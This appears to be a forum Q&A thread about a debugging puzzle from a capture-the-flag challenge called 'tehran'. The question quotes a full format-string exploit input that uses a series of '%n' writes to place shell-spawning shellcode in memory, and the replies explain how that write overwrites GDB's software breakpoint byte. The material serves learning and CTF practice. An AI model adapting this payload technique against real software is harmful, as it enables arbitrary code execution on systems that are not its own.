I was following the writeup of the challenge tehran. If I set a breakpoint 0x804bade, it never gets hit for the following input.

begin() {
    fillout(0x8048000, 16384, 7);
    puts("%144c%n", 42, 0x804bade);
    puts("%144c%n", 42, 0x804badf);
    puts("%144c%n", 42, 0x804bae0);
    puts("%144c%n", 42, 0x804bae1);
    puts("%144c%n", 42, 0x804bae2);
    puts("%104c%n", 42, 0x804bae3);
    puts("%1c%n", 42, 0x804bae4);
    puts("%1c%n", 42, 0x804bae5);
    puts("%1c%n", 42, 0x804bae6);
    puts("%1c%n", 42, 0x804bae7);
    puts("%129c%n", 42, 0x804bae8);
    puts("%52c%n", 42, 0x804bae9);
    puts("%36c%n", 42, 0x804baea);
    puts("%114c%n", 42, 0x804baeb);
    puts("%105c%n", 42, 0x804baec);
    puts("%1c%n", 42, 0x804baed);
    puts("%1c%n", 42, 0x804baee);
    puts("%49c%n", 42, 0x804baef);
    puts("%210c%n", 42, 0x804baf0);
    puts("%82c%n", 42, 0x804baf1);
    puts("%106c%n", 42, 0x804baf2);
    puts("%4c%n", 42, 0x804baf3);
    puts("%90c%n", 42, 0x804baf4);
    puts("%1c%n", 42, 0x804baf5);
    puts("%226c%n", 42, 0x804baf6);
    puts("%82c%n", 42, 0x804baf7);
    puts("%137c%n", 42, 0x804baf8);
    puts("%226c%n", 42, 0x804baf9);
    puts("%106c%n", 42, 0x804bafa);
    puts("%104c%n", 42, 0x804bafb);
    puts("%104c%n", 42, 0x804bafc);
    puts("%47c%n", 42, 0x804bafd);
    puts("%47c%n", 42, 0x804bafe);
    puts("%47c%n", 42, 0x804baff);
    puts("%115c%n", 42, 0x804bb00);
    puts("%104c%n", 42, 0x804bb01);
    puts("%47c%n", 42, 0x804bb02);
    puts("%98c%n", 42, 0x804bb03);
    puts("%105c%n", 42, 0x804bb04);
    puts("%110c%n", 42, 0x804bb05);
    puts("%106c%n", 42, 0x804bb06);
    puts("%11c%n", 42, 0x804bb07);
    puts("%88c%n", 42, 0x804bb08);
    puts("%137c%n", 42, 0x804bb09);
    puts("%227c%n", 42, 0x804bb0a);
    puts("%137c%n", 42, 0x804bb0b);
    puts("%209c%n", 42, 0x804bb0c);
    puts("%153c%n", 42, 0x804bb0d);
    puts("%205c%n", 42, 0x804bb0e);
    puts("%128c%n", 42, 0x804bb0f);

What can the reason be?

enter image description here

  • what is this error at the bottom saying that it cannot insert breakpoint at this location? if it cannot then it won't be hit Jan 19, 2017 at 7:48

1 Answer 1


I found out the reason myself and it was truly enlightening! To insert a breakpoint, gcc replaces the bytes at the beginning of the breakpoint location with INT 3 instruction (0xCC byte) and records the original byte replaced in its internal table. The input was writing a shellcode at the location I was trying to set a breakpoint on. Since the shellcode was interfereing with the breakpoint, it was overwriting the 0xCC bytes, thereby failing gcc to insert a software breakpoint.

  • You can use hbreak to set a hardware breakpoint, but be aware that the overall amount you can use is limited by CPU support
    – Nordwald
    Jan 19, 2017 at 9:36
  • Note also that detecting the modification of the memory (while inserting 0xcc) is a well known anti-debug technique for obfuscated software.
    – perror
    Jan 19, 2017 at 9:47
  • Thanks a lot! This was exactly the reason of my breakpoints not working. I am debugging an application packed with the UPX packer. I have to wait until its fully unpacked in memory and just then can I set a breakpoint. Otherwise the 0xcc break instruction is rewritten by the unpacking routine. Feb 22, 2019 at 14:47

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